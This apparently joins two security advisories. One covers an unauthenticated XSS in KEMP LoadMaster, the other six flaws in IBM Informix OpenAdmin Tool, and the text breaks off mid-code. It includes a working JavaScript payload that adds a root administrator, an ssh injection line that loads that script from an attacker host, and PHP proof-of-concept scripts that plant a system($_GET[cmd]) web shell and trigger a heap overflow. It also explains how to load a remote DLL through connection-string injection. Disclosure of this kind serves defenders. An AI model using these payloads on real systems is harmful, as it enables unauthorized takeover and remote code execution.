KEMP’s main product, the LoadMaster, is a load balancer built on its own proprietary software platform called LMOS, that enables it to run on almost any platform: As a KEMP LoadMaster appliance, a Virtual LoadMaster (VLM) deployed on Hyper­V, VMWare, on bare metal or in the public cloud. KEMP is available in Azure, where it is in the top 15 deployed applications as well as in AWS and VMWare vCloud Air.

A cross site scripting web vulnerability has been discovered in KEMP LoadMaster v7.135.0.13245 (latest). A non authenticated user is able to inject his own malicious Javascript code into the system and use it to create a new web administrator user.

Vendor response

We were unable to get an update beyond this statement from the vendor: Expect a fix in our new version available Jan 2017.

Vulnerability Details

The issue is located in the System Configuration > System Log Files – View Audit LogFile section.
Once administrative access is obtained, the attacker can use it to execute arbitrary code.

Proof of Concept (PoC):

1 – Verify, in the victim machine the Audit LogFile (System Configuration > System Log Files): it is empty (Image 2)

2 – Inject simple HTML/JS code in the log page, using the ssh client: from an attacker machine open a shell and type the following code:

ssh \<button\ onclick\=alert\(1\)\>Click\ <\/button\>@10.0.8.145

3 – Let the login fail using wrong password (Image 4)

4 – Check again the log page (View Audit LogFile): as you can see the HTML/JS code has been correctly injected (Image 5)

Attack script:

1 – Start a web server and host on attack machine the following JS file (kemp_attack.js)

//BEGIN//////////////////////////////////////////////////////// openl = function(verb, url, data, target) {
var form = document.createElement("form"); form.action = url;
form.method = verb;
form.target = target || "_self";
if (data) {
for (var key in data) {
var input = document.createElement("textarea"); input.name = key;
input.value = typeof data[key] === "object" ?
JSON.stringify(data[key]) : data[key]; form.appendChild(input);
} }
form.style.display = 'none'; document.body.appendChild(form); form.submit();
};
//modify the target IP (10.0.8.145) and user/pass as necessary
openl('POST', 'https://10.0.8.145/progs/useradmin/add', {user:'Peru',pass:'GoSecure!',s:'Add+User'}, 'newWindow'); //modify the target IP as necessary, xuser must be equal to user. Increase the timeout (250) for debug setTimeout(function(){openl('POST', 'https://10.0.8.145/progs/useradmin/setopts', {xuser:'Peru',root:'1'}, 'newWindow');}, 250);
//modify the target IP as necessary. The timeout must be greater than the previous
setTimeout(function(){openl('', 'https://10.0.8.145/', '', 'newWindow');}, 500); //////////////////////////////////////////////////////////END//

2 – Verify permission of kemp_attack.js (chmod 644 kemp_attack.js)

3 – Verify users currently enabled in Kemp LoadMaster from System Configuration > User Management. As you can se no user (a part from default one) is active in the appliance (Image 8)

4 – Inject the attack code: from the attacker machine open a shell and type the following code:

ssh \<script \ src\=\"http\&\#x3A\;\/\/10\.0\.8\.130\/kemp\_attack\.js\"\>\ </script>@10.0.8.145

5 – Check again the log page (View Audit LogFile): this will activate the script

6 – Check again the User Management page: a new user as been created with all permissions. 
            
## Vulnerabilities Summary
The following advisory describes six (6) vulnerabilities found in Informix Dynamic Server and Informix Open Admin Tool.

IBM Informix Dynamic Server Exceptional, low maintenance online transaction processing (OLTP) data server for enterprise and workgroup computing.

IBM Informix Dynamic Server has many features that cater to a variety of user groups, including developers and administrators. One of the strong features of IDS is the low administration cost. IDS is well known for its hands-free administration. To make server administration even easier, a new open source, platform-independent tool called OpenAdmin Tool (OAT) is now available to IDS users. The OAT includes a graphical interface for administrative tasks and performance analysis tools.

## Vulnerabilities:

- Unauthentication static PHP code injection that leads to remote code execution
- Heap buffer overflow
- Remote DLL Injection that leads to remote code execution (1)
- Remote DLL Injection that leads to remote code execution (2)
- Remote DLL Injection that leads to remote code execution (3)
- Remote DLL Injection that leads to remote code execution (4)

## Credit

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

## Vendor response
IBM has released patches to address those vulnerabilities and issued the following CVE’s:

- CVE-2016-2183
- CVE-2017-1092

For more Information – http://www-01.ibm.com/support/docview.wss?uid=swg22002897

## Vulnerabilities Details

IBM Informix Dynamic Server installs a PHP enable Apache server as a Windows Service (“Apache_for_OAT”) which listens on public port 8080 (tcp/http) for incoming requests to the OpenAdmin web panel. It runs with NT AUTHORITY\SYSTEM privileges.

Unauthentication static PHP code injection that leads to remote code execution
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication static PHP code injection by invoking welcomeService.php which offers a SOAP interface.

The welcomeServer.php class suffers of a static PHP code injection into the “saveHomePage” method. Arbitrary code can be injected into ‘config.php‘, which is accessible to remote users. Given this, a remote attacker could execute arbitrary code/commands with the privileges of the target service.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeService.php


```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("welcomeServer.php");

$server = new SoapServer("welcome.wsdl");
$server->setClass("welcomeServer");
if (isset($HTTP_RAW_POST_DATA))
  {
  $request = $HTTP_RAW_POST_DATA;
} else
  {
  $request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

If we will look into saveHomePage() method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\welcome\welcomeServer.php:

```
...
/**
   * Save the selected home page in the config.php file.
   */
  public function saveHomePage ($new_home_page)  <---------------------------------------
  {
    $this->idsadmin->load_lang("admin");
    $conf_vars = $this->idsadmin->get_config("*");

    // create backup of config file
    $src=$conf_vars['HOMEDIR']."/conf/config.php";
    $dest=$conf_vars['HOMEDIR']."/conf/BAKconfig.php";
    copy($src,$dest);

    // open the config file
    if (! is_writable($src))
    {
      trigger_error($this->idsadmin->lang("SaveCfgFailure"). " $src");
      return;
    }
    $fd = fopen($src,'w+'); <------------------------------ [*]
    // write out the config
    fputs($fd,"<?php \n");
    foreach ($conf_vars as $k => $v)
    {
      if ($k == "HOMEPAGE")
      {
        $v = $new_home_page; <----------------------------------- [**]
      }
      else if ($k == "CONNDBDIR" || $k == "HOMEDIR")
      {
        // Replace backslashes in paths with forward slashes
        $this->idsadmin->in[$k] = str_replace('\\', '/', $this->idsadmin->in[$k]);
        /* idsdb00494581: An extra '"' gets written to $CONF['CONNDBDIR'] in config.php
         * silent install in /vobs/idsadmin/idsadmin/install/index.php:saveDefaultConfig() writes the above line
         * based on $conndbdir = addslashes(substr(@$_SERVER['argv'][3],11)); TODO: fix the initial writing into config.php (Windows only issue)
         */
        if ($v[strlen($v)-1] == '"') {
          $v = substr($v, 0, -1);
        }
      }
      $out = "\$CONF['{$k}']=\"{$v}\";#{$this->idsadmin->lang($k)}\n"; <--------------------------- [***]
      fputs($fd,$out); <-------------------------------------- [****]
    }
    fputs($fd,"?>\n");
    fclose($fd);

    return $new_home_page;
  }
...
```

Note that $new_home_page is the unique parameter of a SOAP request and it is controlled;

The resulting file could look like this:


```
...
<?php
$CONF['LANG']="en_US";#The default language for the OAT pages.
$CONF['BASEURL']="http://WIN-PF2VMDT4MVO:8080/openadmin";#The URL where OAT is installed in this format: http://servername:port/location.
$CONF['HOMEDIR']="C:/Program Files (x86)/IBM Informix Software Bundle/OAT/Apache_2.2.22/htdocs/openadmin/";#The directory for the OAT installation.
$CONF['CONNDBDIR']="C:\Program Files (x86)\IBM Informix Software Bundle\OAT\OAT_conf";#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.
$CONF['HOMEPAGE']="";system($_GET[cmd]);//";#The page to use as the OAT home page.
$CONF['PINGINTERVAL']="300";#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center > Dashboard > Group Summary page.
$CONF['ROWSPERPAGE']="25";#The default number of rows per page to display when data is shown in a table format.
$CONF['SECURESQL']="on";#Require login credentials for the SQL ToolBox.
$CONF['INFORMIXCONTIME']="20";#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error (INFORMIXCONTIME).
$CONF['INFORMIXCONRETRY']="3";#The number of times that OAT attempts to connect to the database server during the Informix connect time (INFORMIXCONRETRY).
$CONF['INFORMIXDIR']="C:\Program Files (x86)\IBM Informix Software Bundle";#MISSING LANG FILE ITEM INFORMIXDIR
?>
...
```

config.php is not protected so we can execute system() through a GET request.

## Proof of Concept

```
<?php

error_reporting(0);
$host = $argv[1];
$port = 8080;

$shell = htmlentities("\";system(\$_GET[cmd]);//");

$data='
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Welcome">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:saveHomePage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <new_home_page xsi:type="xsd:string">'.$shell.'</new_home_page>
      </urn:saveHomePage>
   </soapenv:Body>
</soapenv:Envelope>
';
$pk="POST /openadmin/services/welcome/welcomeService.php HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: text/xml;charset=UTF-8
\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "SOAPAction: \"urn:QBEAction\"\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out."\n";

$pk="GET /openadmin/conf/config.php?cmd=whoami HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";

$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

## Heap buffer overflow

IBM Informix Dynamic Server Developer is vulnerable to Unauthentication heap buffer overflow. By submitting connection parameters to index.php, through the ‘server’ property, it is possible to trigger a heap buffer overflow vulnerability into the underlying PHP Informix extension (php_pdo_informix.dll).

When attaching WinDbg to the httpd.exe sub-process, it shows:


```
(1580.68c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=007b5360 ebx=04701bb0 ecx=007b5274 edx=00000276 esi=01010101 edi=046fe310
eip=007b14b5 esp=01f8f630 ebp=047677cc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
php_pdo_informix+0x14b5:
007b14b5 894614          mov     dword ptr [esi+14h],eax ds:002b:01010115=15ff012e
```

esi is controlled by the attacker and could be used to execute arbitrary code or to create denial of service conditions

```
0:002> lm vm php_pdo_informix
start    end        module name
014f0000 014fa000   php_pdo_informix   (export symbols)       C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Loaded symbol image file: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image path: C:\Program Files (x86)\IBM Informix Software Bundle\OAT\PHP_5.2.4\ext\php_pdo_informix.dll
    Image name: php_pdo_informix.dll
    Timestamp:        Mon Jun 15 17:13:57 2009 (4A36E3C5)
    CheckSum:         00015E71
    ImageSize:        0000A000
    File version:     5.2.4.4
    Product version:  5.2.4.0
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      The PHP Group
    ProductName:      PHP php_pdo_informix.dll
    InternalName:     php_pdo_informix.dll
    OriginalFilename: php_pdo_informix.dll
    ProductVersion:   5.2.4
    FileVersion:      5.2.4.4
    PrivateBuild:     5.2.4.4
    SpecialBuild:     5.2.4.4
    FileDescription:  pdo_informix
    LegalCopyright:   Copyright © 1997-2007 The PHP Group
    LegalTrademarks:  PHP
    Comments:         Thanks to Rick McGuire, Dan Scott, Krishna Raman, Kellen Bombardier
```

## Proof of Concept

```
<?php
/*
example connection string:
informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]
*/

error_reporting(0);
$host = $argv[1];
$port = 8080;

$data="PASSWORD=*&USERNAME=*&SERVER=".str_repeat("\x01",69000)."&HOST=127.0.0.1&PORT=7360&IDSPROTOCOL=onsoctcp&TENANT_DBOWNER=&TENANT_DBNAME=";
$pk="POST /openadmin/index.php?act=login&do=testconn HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: application/x-www-form-urlencoded\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;

$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>
```

## Remote DLL Injection that leads to remote code execution (1)

IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

by submitting connection parameters to index.php, setting the ‘act‘ parameter to ‘login‘ and the ‘do‘ one to ‘testconn‘, it is possible to inject arbitrary statements into a connection string for the underlying Informix database.

The __construct() method of the PDO_OAT.php library passing them to PDO::__construct() without prior sensitization

Given this it is possible to inject the “TRANSLATIONDLL” connection parameter and to point it to an arbitrary dll from a remote network share, prepared by the attacker. If the dll entry point contains malicious code, this will be executed instantly. This can be done ex. through the ‘HOST‘ parameter of a POST request.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\modules\login.php

```
...
function testconn($internal=false)
  {
    $state = 1;
    $statemessage="Online";

    $servername = $this->idsadmin->in['SERVER'];<-------------------------------------- [*]
    $host = $this->idsadmin->in['HOST']; <------------------------------------------
    $port = $this->idsadmin->in['PORT']; <-------------------------------------------
    $protocol = $this->idsadmin->in['IDSPROTOCOL']; <------------------------------------
    // The below distinction (sysmaster/sysadmin) is needed to avoid the error (-570:Cannot reference an external ANSI database.) when a tenant owner's permissions are being verified.
    // The error happens when connecting to sysmaster and issuing the query (below, joining sysadmin:ph_allow_list and <tenant_db>:sysusers) to check against sysusers on an ansi db
    if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == true)) {
      $dbname = "sysadmin";
    } else {
      $dbname = "sysmaster";
    }
    $user = $this->idsadmin->in['USERNAME']; <--------------------------------------
    $passwd = $this->idsadmin->in['PASSWORD']; <----------------------------
    $envvars = (isset($this->idsadmin->in['ENVVARS']))? $this->idsadmin->in['ENVVARS'] : null;

    require_once (ROOT_PATH."lib/PDO_OAT.php");
    try {
      $tdb = new PDO_OAT($this->idsadmin,$servername,$host,$port,$protocol,$dbname,"",$envvars,$user,$passwd); <----------------------- [**]
    } catch(PDOException $e) {
      $message=preg_split("/:/",$e->getMessage());
      $statemessage= $message[sizeof($message)-1];
      $statemessage="{$this->idsadmin->lang('ConnectionFailed')} {$statemessage}";
      $state=3;
    }

    if (isset($this->idsadmin->in['TENANT_DBOWNER']) && ($this->idsadmin->in['TENANT_DBOWNER'] == 1 || $this->idsadmin->in['TENANT_DBOWNER'] == 'true'))
    {
      if ($state == 3) {
        if ($internal) {
          return $statemessage;
        } else {
          $tdb=null;
          echo $statemessage;
          die();
        }
      }

      $sql = "SELECT COUNT(*) as nameexists "
           . "FROM sysadmin:ph_allow_list al, {$this->idsadmin->in['TENANT_DBNAME']}:sysusers su "
           . "WHERE al.name = '{$this->idsadmin->in['USERNAME']}' "
           . "AND al.name = su.username "
           . "AND su.usertype IN ('D','R') "
           . "AND al.perm_list LIKE '%tenant%';";

      try {

        $stmt = $tdb->query($sql,false,true);

        } catch (PDOException $e) {
          $err_code = $e->getCode();
          $err_msg = $e->getMessage();
          $statemessage = "{$this->idsadmin->lang('ConnectionFailed')} {$err_code}:{$err_msg}";
          if ($internal) {
          return $statemessage;
        } else {
          $tdb=null;
          echo $statemessage;
          die();
        }
        }

        $row = $stmt->fetch();
        $stmt->closeCursor();

        if ( $row['NAMEEXISTS'] == 0 ) {
          $statemessage = "{$this->idsadmin->lang('InsufficientPrivs')}";
        }

        if ($internal) {
        return $statemessage;
      } else {
        $tdb=null;
        echo $statemessage;
        die();
      }
    }
    $tdb=null;
    echo $statemessage;
    die();
  }
...
```

Let’s look into C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\PDO_OAT.php

```
...
function __construct(&$idsadmin,$servername,$host,$port,$protocol,$dbname="sysmaster",$locale="",$envvars=null,$username="",$password="")
  {
    $this->idsadmin=&$idsadmin;
    $this->idsadmin->load_lang("database");
    $this->dbname = $dbname;
    $informixdir = $this->idsadmin->get_config("INFORMIXDIR");

    $dsn = self::getDSN($servername,$host,$port,$protocol,$informixdir,$dbname,$locale,$envvars); <---------------------- [***]

    putenv("INFORMIXCONTIME={$this->idsadmin->get_config("INFORMIXCONTIME",20)}");
    putenv("INFORMIXCONRETRY={$this->idsadmin->get_config("INFORMIXCONRETRY",3)}");

    parent::__construct($dsn,$username,utf8_decode($password)); <----------------------------------- [*****]
  }

static function getDSN ($servername,$host,$port,$protocol,$informixdir,$dbname="sysmaster",$locale="",$envvars=null)
  {
    $dsn = "informix:host={$host}"; <------------------------------------ [****]
    $dsn .= ";service={$port}";
    $dsn .= ";database={$dbname}";
    $dsn .= ";protocol={$protocol}";
    $dsn .= ";server={$servername}";

    if ( substr(PHP_OS,0,3) != "WIN" )
    {
      $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
      $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
      $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
    }

    if (!is_null($envvars) && $envvars != "" )
    {
      // add envvars to connection string
      $dsn .= ";$envvars";
    }

    if ( $locale != "" )
    {
      // CLIENT_LOCALE should always be UTF-8 version of databse locale
      $client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
      $dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
    }

    return $dsn;
  }
...
```

At [***] the getDSN() function is called
At [****] and following various parameters are concatenated into a connection string without prior sanitization and set to $dsn
At [*****] the resulting connection string it’s passed to PDO::__construct(), resulting in the dll to be loaded instantly.

Remote DLL Injection that leads to remote code execution (2)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By submitting a SOAP request to oliteService.php, specifying ex. the ‘canConnectToIDS‘ method, it is possible to inject arbitrary parameters into a
database connection string for the underlying Informix database.

It is possible to inject ex. the ‘TRANSLATIONDLL‘ parameter and, if this parameter points to a dll into an existing remote network
share, the dll will be injected into the remote Apache process. If malicious code is contained into the dll entry point, this will
be executed instantly.

Vulnerable code is located inside the getDBConnection() function of the underlying oliteServer.php PHP class, where connection parameters are concatenated without prior sanitization.

Vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteService.php


```
...
<?php
[..]

$ini = ini_set("soap.wsdl_cache_enabled","0");

require_once("oliteServer.php");

$server = new SoapServer("olite.wsdl");
$server->setClass("oliteServer");
if (isset($HTTP_RAW_POST_DATA))
  {
  $request = $HTTP_RAW_POST_DATA;
} else
  {
  $request = file_get_contents('php://input');
}

$server->handle($request);
?>
...
```

The SOAP interface can be interrogated without prior authentication, Let’s take a look into ‘canConnectToIDS‘ method inside
C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\olite\oliteServer.php


```
...
/**
   * Verify that a connection to the server can be made.
   * @return true if a new PDO can be created and server version is >= 11, false otherwise
   */
  function canConnectToIDS($server, $host, $port, $protocol, $username, $password, $lang="en_US")
  {
    $this->setOATLiteLang($lang);

    $sql = "SELECT DBINFO('version','major') AS vers FROM sysha_type ";
    $this->handlingPDOException = TRUE;
    try
    {
      $temp = $this->doDatabaseWork($sql, "sysmaster", $server, $host, $port, $protocol, $username, $password); <------------- [1]
      /* set handlingPDOException back to false in case this is used in a multi call */
      $this->handlingPDOException = FALSE;
    }
    catch(PDOException $e)
    {
      return array("canConnect" => false, "message" => $e->getMessage());
    }
    catch(Exception $e1)
    {
      //error_log("Could not connect, returning false");
      return array("canConnect" => false, "message" => $e1->getMessage());
    }
    //error_log(var_export($temp));
    //error_log("temp: " . var_export($temp[0]['VERS'], true));
    if($temp[0]['VERS'] < 11)
    {
      return array("canConnect" => false, "message" => $this->idsadmin->lang('ServerVersionLessThan11'));
    }
    else
    {
      return array("canConnect" => true, "message" => "");
    }
  }
...
```

$server, $host, $port, $protocol are received from the SOAP request and they are fully controlled;
at [1] doDatabaseWork() is called, then look:

```
...
/**
   * Runs query on specified database
   * @return array containing all selected records
   */
  private function doDatabaseWork($sel, $dbname="sysmaster", $serverName, $host, $port, $protocol, $user, $password,
  $timeout = 10, $exceptions=false, $locale=NULL)
  {
    $ret = array();
    if ( $this->useSameConnection == null )
    $db = $this->getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout, $locale); <--------------------- [2]
    else
    $db = $this->useSameConnection;

    while (1 == 1)
    {
      $stmt = $db->query($sel); // not required as this is using the PDO->query not the $idsadmin->db->query ,false,$exceptions,$locale);

      $err = $db->errorInfo();
      if ( $err[1] != 0 )
      {
        trigger_error("{$err[1]} - {$err[2]}",E_USER_ERROR);
      }

      while ($row = $stmt->fetch(PDO::FETCH_ASSOC) )
      {
        $ret[] = $row;
      }

      $err = $db->errorInfo();

      if ( $err[2] == 0 )
      {
        $stmt->closeCursor();
        break;
      }
      else
      {
        $err = "Error: {$err[2]} - {$err[1]}";
        $stmt->closeCursor();
        trigger_error($err,E_USER_ERROR);
        continue;
      }
    }
    return $ret;
  }
...
```

At [2] getDBConnection() is called with controlled parameters, finally look:


```
...
/**
   * Gets connection to specified database
   */
  function getDBConnection($dbname, $serverName, $host, $port, $protocol, $user, $password, $timeout = 10, $locale = null)
  {
    //$INFORMIXCONTIME=2;
    $INFORMIXCONRETRY=10;
    settype($timeout, 'integer');

    putenv("INFORMIXCONTIME={$timeout}");
    putenv("INFORMIXCONRETRY={$INFORMIXCONRETRY}");

    $dsn .= "informix:host={$host}"; <------------------------------------ [3]
    $dsn .= ";service={$port}"; <----------------------------------
    $dsn .= ";database={$dbname}"; <---------------------------------------
    $dsn .= ";protocol={$protocol}"; <----------------------------------
    $dsn .= ";server={$serverName}"; <-------------------------------
    $db = null;

    if(substr(PHP_OS,0,3) != "WIN")
    {
      $informixdir = $this->idsadmin->get_config("INFORMIXDIR");
      $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR") ? "dylib" : "so";
      $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
      $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
    }

    if ( $locale != null )
    {
      $client_locale = substr($locale,0,strrpos($locale,".")) . ".UTF8";
      $dsn .= ";CLIENT_LOCALE={$client_locale};DB_LOCALE={$locale};";
    }

    if ( $this->handlingPDOException === FALSE )
    {
      try {
        $db = new PDO ("{$dsn}",$user,utf8_decode($password) ); <------------------------------- [4] boom!
      }
      catch ( PDOException $e )
      {
        //error_log(var_export ( $db->errorInfo() , true ) );
        //trigger_error($e->getMessage(),E_USER_ERROR);
        $exception = $this->parsePDOException($e->getMessage());
        throw new SoapFault("{$exception['code']}",$exception['message']);
      }
    }
    else
    {
      $db = new PDO ("{$dsn}",$user,$password);
    }
    return $db;
  }
...
```

At [3] a connection string is concatenated without prior sanitization, arbitrary parameters can be injected via ‘;’; ‘TRANSLATIONDLL’ and other dangerous parameters can be specified.

At [4], the resulting connection string is passed to the PDO object, causing the dll to be loaded before the authentication is performed.

Remote DLL Injection that leads to remote code execution (3)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

The specific flaw exists within two PHP scripts in OpenAdmin tool.

MACH11Server.php allows to insert a row into the underlying SQLite Database without prior authentication, by sending a specific SOAP request to MACH11Service.php and specifying the ‘addServerToCache‘ method.
pinger.php construct a connection string for the underlying Informix database, based on the row previously inserted. Given this it is possible to inject the ‘TRANSLATIONDLL‘ property into this connection string and to cause the Apache process to load the pointed dll from a remote network share controlled by the attacker.
vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\idsadmin\MACH11Server.php


```
...
  function addServerToCache ($group_num
                              , $host
                              , $port
                              , $server
                              , $idsprotocol
                              , $lat
                              , $lon
                              , $username
                              , $password
                              , $cluster_id
                              , $last_type )
  {

    $password = connections::encode_password($password);

    $query = "INSERT INTO connections   "
               . "        ( group_num       "
               . "        , host            "
               . "        , port            "
               . "        , server          "
               . "        , idsprotocol     "
               . "        , lat             "
               . "        , lon             "
               . "        , username        "
               . "        , password        "
               . "        , cluster_id      "
               . "        , last_type )     "
               . " VALUES (  {$group_num}   "
               . "        , '{$host}'       "
               . "        , '{$port}'       "
               . "        , '{$server}'     "
               . "        , '{$idsprotocol}'"
               . "        ,  {$lat}         "
               . "        ,  {$lon}         "
               . "        , '{$username}'   "
               . "        , '{$password}'   "
               . "        ,  {$cluster_id}  "
               . "        ,  {$last_type} ) ";

        $this->doDatabaseWork ( $query );
      return $this->db->lastInsertId ( );
        //return sqlite_last_insert_rowid ( $this->db );
  }
...
```

The previously empty ‘connections‘ table is populated with one row.

Let’s look at C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\lib\pinger.php

```
...
<?php
[..]

register_shutdown_function("shutdownHandler",$db);

ini_set("max_execution_time", -1);

#set the maxexecution time..
set_time_limit(-1);

ignore_user_abort(TRUE);

@header( 'Content-Type: image/gif' );
print base64_decode( 'R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==' );
ob_flush();

/**
 * pinger
 * get / update the status of each server in the connections db.
 */

# set the CONFDIR
define(CONFDIR,"../conf/");

require_once(CONFDIR."config.php");
$pinginterval=isset($CONF["PINGINTERVAL"]) ? $CONF["PINGINTERVAL"] : 300;

if ( ! isset($CONF['CONNDBDIR']) )
{
  // error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set.");
  return;
}

if ( ! is_dir($CONF['CONNDBDIR']) )
{
  error_log("Please check config.php param CONNDBDIR - it doesnt seem to be set to a directory.");
  return;
}

$dbfile="{$CONF['CONNDBDIR']}/connections.db";

$informixdir=getenv("INFORMIXDIR");

if ( ! file_exists($dbfile) )
{
  // error_log("*** Cannot find connections.db - {$dbfile} ****");
  die();
}

unset($CONF);

# connect to the sqlite database.
$db = new PDO ("sqlite:{$dbfile}");
$db->setAttribute(PDO::ATTR_CASE,PDO::CASE_UPPER);

/**
 * lets get our last runtime and if we are running ..
 */

$qry  = "select lastrun , isrunning from pingerinfo";
$stmt = $db->query($qry);
$row  = $stmt->fetch(PDO::FETCH_ASSOC);
$stmt->closeCursor();

if ( $row['ISRUNNING'] > 0 )
{
   $timenow = time();
        if ( $timenow - $row['LASTRUN'] > 3000 )
        {
                error_log( "Reset pinger - should run next time ");
                $db->query("update pingerinfo set isrunning = 0");
        }

  /* we are already running so lets just quit now */
  die();
}

$timenow = time();
if ( $timenow - $row['LASTRUN'] < $pinginterval )
{
  // error_log( "no need to run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );
  die();
}

$db->query("update pingerinfo set isrunning = {$timenow} ");

// error_log ( "we better run "."Last: ".($timenow - $row['LAST'])." - {$pinginterval}" );

putenv("INFORMIXCONTIME=5");
putenv("INFORMIXCONRETRY=1");


/**
 * prepare the update string.
 */
$update = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg where conn_num = :conn_num");
$update2 = $db->prepare("update connections set lastpingtime=:now, laststatus=:state , laststatusmsg=:statemsg, lastonline=:lastonline where conn_num = :conn_num");

/**
 * we need to include the lib/connections.php
 * so we can access the password hooks functions.
 */

require_once 'connections.php';
/**
 * lets get all our defined connections.
 */
$sql = "select * from connections order by server";
$stmt = $db->query($sql);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

$starttime=time();
$status = "Start Time: {$starttime}\n";

foreach ( $rows as $k=>$row )
{

  $now = time();
  $dsn = <<<EOF
informix:host={$row['HOST']};service={$row['PORT']};database=sysmaster;server={$row['SERVER']};protocol={$row['IDSPROTOCOL']}; //<---------------------- [1]
EOF;

  if ( substr(PHP_OS,0,3) != "WIN" )
  {
    $libsuffix = (strtoupper(substr(PHP_OS,0,3)) == "DAR")? "dylib":"so";
    $dsn .= ";TRANSLATIONDLL={$informixdir}/lib/esql/igo4a304.".$libsuffix;
    $dsn .= ";Driver={$informixdir}/lib/cli/libifdmr.".$libsuffix.";";
  }

  $statemessage="Online";
  $state=1;

  $user   = $row['USERNAME'];
  $passwd = connections::decode_password( $row['PASSWORD'] );


  try
  {
    $pingdb = new PDO($dsn,$user,utf8_decode($passwd)); <---------------------------------- [2]
  }
  catch(PDOException $e)
  {
    // error_log( $e->getMessage() );
    $message=preg_split("/:/",$e->getMessage());
    $statemessage= preg_replace("#\[.+\]#","",$message[1]);
    $statemessage.=" Last Online:".lastonlineconv($row['LASTONLINE']);
    $state=3;
  }
[..]
...
```

at [1] a connection string is concatenated with values taken from SQLite connection table. Arbitrary properties can be specified through “;”, leading to remote code
execution, when [2] the PDO object is instantiated.

Remote DLL Injection that leads to remote code execution (4)
IBM Informix Dynamic Server Developer is vulnerable to Unauthentication Remote DLL Injection that leads to remote code execution.

By contact the ‘adminapiService.php‘ SOAP interface and constructing a proper request to this endpoint, with the ‘createSBSpace‘ method specified, it possible to inject parameters into a connection string for the underlying Informix database.

vulnerable code – C:\Program Files (x86)\IBM Informix Software Bundle\OAT\Apache_2.2.22\htdocs\openadmin\services\adminapi\adminapiService.php


```
...
<?php
[..]

    // turn of caching of the wsdl for now.
    $ini = ini_set("soap.wsdl_cache_enabled","0");

    // load our actual server.
    require_once("adminapiServer.php");

    //create our soapserver.
    $server = new SoapServer("adminapi.wsdl");

